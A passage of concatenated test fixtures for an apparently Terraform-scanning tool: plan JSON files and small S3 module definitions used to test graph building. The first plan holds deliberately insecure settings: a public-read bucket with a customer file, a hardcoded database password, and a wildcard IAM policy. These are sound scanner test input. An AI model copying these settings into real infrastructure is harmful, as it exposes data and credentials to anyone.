"subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_config_key": "aws", "expressions": { "destination_cidr_block": { "constant_value": "0.0.0.0/0" }, "gateway_id": { "references": [ "aws_internet_gateway.web_igw" ] }, "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "timeouts": { "create": { "constant_value": "5m" } } }, "schema_version": 0 }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_config_key": "aws", "expressions": { "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_config_key": "aws", "expressions": { "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] } }, "schema_version": 0 }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_config_key": "aws", "expressions": { "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet2" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "public-read" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "logging": [ { "target_bucket": { "references": [ "aws_s3_bucket.logs" ] }, "target_prefix": { "constant_value": "log/" } } ], "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "log-delivery-write" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": { "references": [ "aws_kms_key.logs_key" ] }, "sse_algorithm": { "constant_value": "aws:kms" } } ] } ] } ], "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.data" ] }, "key": { "constant_value": "customer-master.xlsx" }, "source": { "constant_value": "resources/customer-master.xlsx" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_config_key": "aws", "expressions": { "description": { "references": [ "local.resource_prefix" ] }, "name": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1, "depends_on": [ "aws_vpc.web_vpc" ] }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_config_key": "aws", "expressions": { "cidr_blocks": { "constant_value": [ "0.0.0.0/0" ] }, "from_port": { "constant_value": 0 }, "protocol": { "constant_value": "-1" }, "security_group_id": { "references": [ "aws_security_group.default" ] }, "to_port": { "constant_value": 0 }, "type": { "constant_value": "egress" } }, "schema_version": 2 }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_config_key": "aws", "expressions": { "cidr_blocks": { "references": [ "aws_vpc.web_vpc" ] }, "from_port": { "constant_value": "3306" }, "protocol": { "constant_value": "tcp" }, "security_group_id": { "references": [ "aws_security_group.default" ] }, "to_port": { "constant_value": "3306" }, "type": { "constant_value": "ingress" } }, "schema_version": 2 }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "cidr_block": { "constant_value": "10.10.10.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.eks_name" ] }, "vpc_id": { "references": [ "aws_vpc.eks_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone2" ] }, "cidr_block": { "constant_value": "10.10.11.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.eks_name" ] }, "vpc_id": { "references": [ "aws_vpc.eks_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "cidr_block": { "constant_value": "172.16.10.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone2" ] }, "cidr_block": { "constant_value": "172.16.11.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_config_key": "aws", "expressions": { "device_name": { "constant_value": "/dev/sdh" }, "instance_id": { "references": [ "aws_instance.web_host" ] }, "volume_id": { "references": [ "aws_ebs_volume.web_host_storage" ] } }, "schema_version": 0 }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_config_key": "aws", "expressions": { "cidr_block": { "constant_value": "10.10.0.0/16" }, "enable_dns_hostnames": { "constant_value": true }, "enable_dns_support": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 1 }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_config_key": "aws", "expressions": { "cidr_block": { "constant_value": "172.16.0.0/16" }, "enable_dns_hostnames": { "constant_value": true }, "enable_dns_support": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 1 }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_config_key": "null", "provisioners": [ { "type": "local-exec", "expressions": { "command": { "references": [ "var.region", "data.aws_caller_identity.current", "var.region", "aws_ecr_repository.repository", "aws_ecr_repository.repository", "local.docker_image", "local.docker_image" ] }, "working_dir": { "references": [ "path.module" ] } } } ], "schema_version": 0 }, { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_config_key": "aws", "expressions": { "filter": [ { "name": { "constant_value": "owner-alias" }, "values": { "constant_value": [ "amazon" ] } }, { "name": { "constant_value": "name" }, "values": { "constant_value": [ "amzn2-ami-hvm-*-x86_64-ebs" ] } } ], "most_recent": { "constant_value": true }, "owners": { "constant_value": [ "amazon" ] } }, "schema_version": 0 }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_config_key": "aws", "schema_version": 0 }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "sts:AssumeRole" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "eks.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ] } ] }, "schema_version": 0 }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "es:*" ] }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "AWS" } } ], "resources": { "constant_value": [ "*" ] } } ] }, "schema_version": 0 } ], "variables": { "ami": { "default": "ami-09a5b0b7edf08843d" }, "availability_zone": { "default": "us-west-2a" }, "availability_zone2": { "default": "us-west-2b" }, "company_name": { "default": "acme" }, "dbname": { "default": "db1", "description": "Name of the Database" }, "environment": { "default": "dev" }, "neptune-dbname": { "default": "neptunedb1", "description": "Name of the Neptune graph database" }, "password": { "default": "Aa1234321Bb", "description": "Database password" }, "profile": { "default": "default" }, "region": { "default": "us-west-2" } } } } } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph/source/main.tf ================================================ provider "aws" { region = "us-west-2" profile = "dev8" } module "s3_module" { source = "./module" bucket = aws_s3_bucket.example.id } resource "aws_s3_bucket" "example" { bucket = "example" } module "s3_module_2" { source = "./module" bucket = aws_s3_bucket.example_2.id } resource "aws_s3_bucket" "example_2" { bucket = "example_2" } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module/main.tf ================================================ module "inner_s3_module" { source = "../module2" bucket2 = var.bucket } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } resource "aws_s3_bucket" "example3" { bucket = "example" } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph/source/module2/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph/tfplan.json ================================================ { "format_version":"1.1", "terraform_version":"1.2.7", "planned_values":{ "root_module":{ "resources":[ { "address":"aws_s3_bucket.example", "mode":"managed", "type":"aws_s3_bucket", "name":"example", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "bucket":"example", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "sensitive_values":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } }, { "address":"aws_s3_bucket.example_2", "mode":"managed", "type":"aws_s3_bucket", "name":"example_2", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "bucket":"example_2", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "sensitive_values":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } } ], "child_modules":[ { "address":"module.s3_module", "child_modules":[ { "resources":[ { "address":"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "sensitive_values":{ } } ], "address":"module.s3_module.module.inner_s3_module" } ] }, { "address":"module.s3_module_2", "child_modules":[ { "resources":[ { "address":"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "sensitive_values":{ } } ], "address":"module.s3_module_2.module.inner_s3_module" } ] } ] } }, "resource_changes":[ { "address":"aws_s3_bucket.example", "mode":"managed", "type":"aws_s3_bucket", "name":"example", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "bucket":"example", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "after_unknown":{ "acceleration_status":true, "acl":true, "arn":true, "bucket_domain_name":true, "bucket_regional_domain_name":true, "cors_rule":true, "grant":true, "hosted_zone_id":true, "id":true, "lifecycle_rule":true, "logging":true, "object_lock_configuration":true, "object_lock_enabled":true, "policy":true, "region":true, "replication_configuration":true, "request_payer":true, "server_side_encryption_configuration":true, "tags_all":true, "versioning":true, "website":true, "website_domain":true, "website_endpoint":true }, "before_sensitive":false, "after_sensitive":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } } }, { "address":"aws_s3_bucket.example_2", "mode":"managed", "type":"aws_s3_bucket", "name":"example_2", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "bucket":"example_2", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "after_unknown":{ "acceleration_status":true, "acl":true, "arn":true, "bucket_domain_name":true, "bucket_regional_domain_name":true, "cors_rule":true, "grant":true, "hosted_zone_id":true, "id":true, "lifecycle_rule":true, "logging":true, "object_lock_configuration":true, "object_lock_enabled":true, "policy":true, "region":true, "replication_configuration":true, "request_payer":true, "server_side_encryption_configuration":true, "tags_all":true, "versioning":true, "website":true, "website_domain":true, "website_endpoint":true }, "before_sensitive":false, "after_sensitive":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } } }, { "address":"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "module_address":"module.s3_module.module.inner_s3_module", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "after_unknown":{ "bucket":true, "id":true }, "before_sensitive":false, "after_sensitive":{ } } }, { "address":"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "module_address":"module.s3_module_2.module.inner_s3_module", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "after_unknown":{ "bucket":true, "id":true }, "before_sensitive":false, "after_sensitive":{ } } } ], "configuration":{ "provider_config":{ "aws":{ "name":"aws", "full_name":"registry.terraform.io/hashicorp/aws", "expressions":{ "profile":{ "constant_value":"dev8" }, "region":{ "constant_value":"us-west-2" } } }, "module.s3_module.module.inner_s3_module:aws":{ "name":"aws", "full_name":"registry.terraform.io/hashicorp/aws", "module_address":"module.s3_module.module.inner_s3_module" }, "module.s3_module_2.module.inner_s3_module:aws":{ "name":"aws", "full_name":"registry.terraform.io/hashicorp/aws", "module_address":"module.s3_module_2.module.inner_s3_module" } }, "root_module":{ "resources":[ { "address":"aws_s3_bucket.example", "mode":"managed", "type":"aws_s3_bucket", "name":"example", "provider_config_key":"aws", "expressions":{ "bucket":{ "constant_value":"example" } }, "schema_version":0 }, { "address":"aws_s3_bucket.example_2", "mode":"managed", "type":"aws_s3_bucket", "name":"example_2", "provider_config_key":"aws", "expressions":{ "bucket":{ "constant_value":"example_2" } }, "schema_version":0 } ], "module_calls":{ "s3_module":{ "source":"./module", "expressions":{ "bucket":{ "references":[ "aws_s3_bucket.example.id", "aws_s3_bucket.example" ] } }, "module":{ "module_calls":{ "inner_s3_module":{ "source":"../module2", "expressions":{ "bucket2":{ "references":[ "var.bucket" ] } }, "module":{ "resources":[ { "address":"aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_config_key":"module.s3_module.module.inner_s3_module:aws", "expressions":{ "block_public_acls":{ "constant_value":true }, "block_public_policy":{ "constant_value":true }, "bucket":{ "references":[ "local.bucket2" ] }, "ignore_public_acls":{ "constant_value":true }, "restrict_public_buckets":{ "constant_value":true } }, "schema_version":0 } ], "variables":{ "bucket2":{ } } } } }, "variables":{ "bucket":{ } } } }, "s3_module_2":{ "source":"./module", "expressions":{ "bucket":{ "references":[ "aws_s3_bucket.example_2.id", "aws_s3_bucket.example_2" ] } }, "module":{ "module_calls":{ "inner_s3_module":{ "source":"../module2", "expressions":{ "bucket2":{ "references":[ "var.bucket" ] } }, "module":{ "resources":[ { "address":"aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_config_key":"module.s3_module_2.module.inner_s3_module:aws", "expressions":{ "block_public_acls":{ "constant_value":true }, "block_public_policy":{ "constant_value":true }, "bucket":{ "references":[ "local.bucket2" ] }, "ignore_public_acls":{ "constant_value":true }, "restrict_public_buckets":{ "constant_value":true } }, "schema_version":0 } ], "variables":{ "bucket2":{ } } } } }, "variables":{ "bucket":{ } } } } } } }, "relevant_attributes":[ { "resource":"aws_s3_bucket.example_2", "attribute":[ "id" ] }, { "resource":"aws_s3_bucket.example", "attribute":[ "id" ] } ] } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/main.tf ================================================ provider "aws" { region = "us-west-2" profile = "dev8" } module "s3_module" { source = "./module" bucket = aws_s3_bucket.example.id } resource "aws_s3_bucket" "example" { bucket = "example" } // resource in the tfplan.json file that is missing in the terraform //resource "aws_s3_bucket" "example_2" { // bucket = "example_2" //} ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module/main.tf ================================================ module "inner_s3_module" { source = "../module2" bucket2 = var.bucket } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/source/module2/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/runner/resources/plan_and_tf_combine_graph_with_missing_resources/tfplan.json ================================================ { "format_version":"1.1", "terraform_version":"1.2.7", "planned_values":{ "root_module":{ "resources":[ { "address":"aws_s3_bucket.example", "mode":"managed", "type":"aws_s3_bucket", "name":"example", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "bucket":"example", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "sensitive_values":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } }, { "address":"aws_s3_bucket.example_2", "mode":"managed", "type":"aws_s3_bucket", "name":"example_2", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "bucket":"example_2", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "sensitive_values":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } } ], "child_modules":[ { "address":"module.s3_module", "child_modules":[ { "resources":[ { "address":"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "sensitive_values":{ } } ], "address":"module.s3_module.module.inner_s3_module" } ] }, { "address":"module.s3_module_2", "child_modules":[ { "resources":[ { "address":"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "sensitive_values":{ } } ], "address":"module.s3_module_2.module.inner_s3_module" } ] } ] } }, "resource_changes":[ { "address":"aws_s3_bucket.example", "mode":"managed", "type":"aws_s3_bucket", "name":"example", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "bucket":"example", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "after_unknown":{ "acceleration_status":true, "acl":true, "arn":true, "bucket_domain_name":true, "bucket_regional_domain_name":true, "cors_rule":true, "grant":true, "hosted_zone_id":true, "id":true, "logging":true, "object_lock_configuration":true, "object_lock_enabled":true, "policy":true, "region":true, "replication_configuration":true, "request_payer":true, "server_side_encryption_configuration":true, "tags_all":true, "versioning":true, "website":true, "website_domain":true, "website_endpoint":true }, "before_sensitive":false, "after_sensitive":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } } }, { "address":"aws_s3_bucket.example_2", "mode":"managed", "type":"aws_s3_bucket", "name":"example_2", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "bucket":"example_2", "bucket_prefix":null, "force_destroy":false, "tags":null, "timeouts":null }, "after_unknown":{ "acceleration_status":true, "acl":true, "arn":true, "bucket_domain_name":true, "bucket_regional_domain_name":true, "cors_rule":true, "grant":true, "hosted_zone_id":true, "id":true, "logging":true, "object_lock_configuration":true, "object_lock_enabled":true, "policy":true, "region":true, "replication_configuration":true, "request_payer":true, "server_side_encryption_configuration":true, "tags_all":true, "versioning":true, "website":true, "website_domain":true, "website_endpoint":true }, "before_sensitive":false, "after_sensitive":{ "cors_rule":[ ], "grant":[ ], "lifecycle_rule":[ ], "logging":[ ], "object_lock_configuration":[ ], "replication_configuration":[ ], "server_side_encryption_configuration":[ ], "tags_all":{ }, "versioning":[ ], "website":[ ] } } }, { "address":"module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "module_address":"module.s3_module.module.inner_s3_module", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "after_unknown":{ "bucket":true, "id":true }, "before_sensitive":false, "after_sensitive":{ } } }, { "address":"module.s3_module_2.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "module_address":"module.s3_module_2.module.inner_s3_module", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "block_public_acls":true, "block_public_policy":true, "ignore_public_acls":true, "restrict_public_buckets":true }, "after_unknown":{ "bucket":true, "id":true }, "before_sensitive":false, "after_sensitive":{ } } } ], "configuration":{ "provider_config":{ "aws":{ "name":"aws", "full_name":"registry.terraform.io/hashicorp/aws", "expressions":{ "profile":{ "constant_value":"dev8" }, "region":{ "constant_value":"us-west-2" } } }, "module.s3_module.module.inner_s3_module:aws":{ "name":"aws", "full_name":"registry.terraform.io/hashicorp/aws", "module_address":"module.s3_module.module.inner_s3_module" }, "module.s3_module_2.module.inner_s3_module:aws":{ "name":"aws", "full_name":"registry.terraform.io/hashicorp/aws", "module_address":"module.s3_module_2.module.inner_s3_module" } }, "root_module":{ "resources":[ { "address":"aws_s3_bucket.example", "mode":"managed", "type":"aws_s3_bucket", "name":"example", "provider_config_key":"aws", "expressions":{ "bucket":{ "constant_value":"example" } }, "schema_version":0 }, { "address":"aws_s3_bucket.example_2", "mode":"managed", "type":"aws_s3_bucket", "name":"example_2", "provider_config_key":"aws", "expressions":{ "bucket":{ "constant_value":"example_2" } }, "schema_version":0 } ], "module_calls":{ "s3_module":{ "source":"./module", "expressions":{ "bucket":{ "references":[ "aws_s3_bucket.example.id", "aws_s3_bucket.example" ] } }, "module":{ "module_calls":{ "inner_s3_module":{ "source":"../module2", "expressions":{ "bucket2":{ "references":[ "var.bucket" ] } }, "module":{ "resources":[ { "address":"aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_config_key":"module.s3_module.module.inner_s3_module:aws", "expressions":{ "block_public_acls":{ "constant_value":true }, "block_public_policy":{ "constant_value":true }, "bucket":{ "references":[ "local.bucket2" ] }, "ignore_public_acls":{ "constant_value":true }, "restrict_public_buckets":{ "constant_value":true } }, "schema_version":0 } ], "variables":{ "bucket2":{ } } } } }, "variables":{ "bucket":{ } } } }, "s3_module_2":{ "source":"./module", "expressions":{ "bucket":{ "references":[ "aws_s3_bucket.example_2.id", "aws_s3_bucket.example_2" ] } }, "module":{ "module_calls":{ "inner_s3_module":{ "source":"../module2", "expressions":{ "bucket2":{ "references":[ "var.bucket" ] } }, "module":{ "resources":[ { "address":"aws_s3_bucket_public_access_block.var_bucket", "mode":"managed", "type":"aws_s3_bucket_public_access_block", "name":"var_bucket", "provider_config_key":"module.s3_module_2.module.inner_s3_module:aws", "expressions":{ "block_public_acls":{ "constant_value":true }, "block_public_policy":{ "constant_value":true }, "bucket":{ "references":[ "local.bucket2" ] }, "ignore_public_acls":{ "constant_value":true }, "restrict_public_buckets":{ "constant_value":true } }, "schema_version":0 } ], "variables":{ "bucket2":{ } } } } }, "variables":{ "bucket":{ } } } } } } }, "relevant_attributes":[ { "resource":"aws_s3_bucket.example_2", "attribute":[ "id" ] }, { "resource":"aws_s3_bucket.example", "attribute":[ "id" ] } ] } ================================================ FILE: tests/terraform/runner/resources/plan_change_keys/tfplan.json ================================================ { "format_version": "1.1", "terraform_version": "1.4.6", "planned_values": { "root_module": { "resources": [ { "address": "aws_security_group_rule.foo", "mode": "managed", "type": "aws_security_group_rule", "name": "foo", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 2, "values": { "cidr_blocks": null, "description": "foo", "from_port": 5432, "ipv6_cidr_blocks": null, "prefix_list_ids": [], "protocol": "tcp", "security_group_id": "sg-547cc4cd5f94bb695", "self": false, "source_security_group_id": "sg-8d21ab5963b0e7917", "timeouts": null, "to_port": 5433, "type": "ingress" }, "sensitive_values": { "prefix_list_ids": [] } }, { "address": "aws_security_group_rule.bar", "mode": "managed", "type": "aws_security_group_rule", "name": "bar", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 2, "values": { "cidr_blocks": null, "description": "foo", "from_port": 8888, "ipv6_cidr_blocks": null, "prefix_list_ids": [], "protocol": "udp", "security_group_id": "sg-547cc4cd5f94bb696", "self": false, "source_security_group_id": "sg-8d21ab5963b0e7917", "timeouts": null, "to_port": 8888, "type": "ingress" }, "sensitive_values": { "prefix_list_ids": [] } } ] } }, "resource_changes": [ { "address": "aws_security_group_rule.foo", "mode": "managed", "type": "aws_security_group_rule", "name": "foo", "provider_name": "registry.terraform.io/hashicorp/aws", 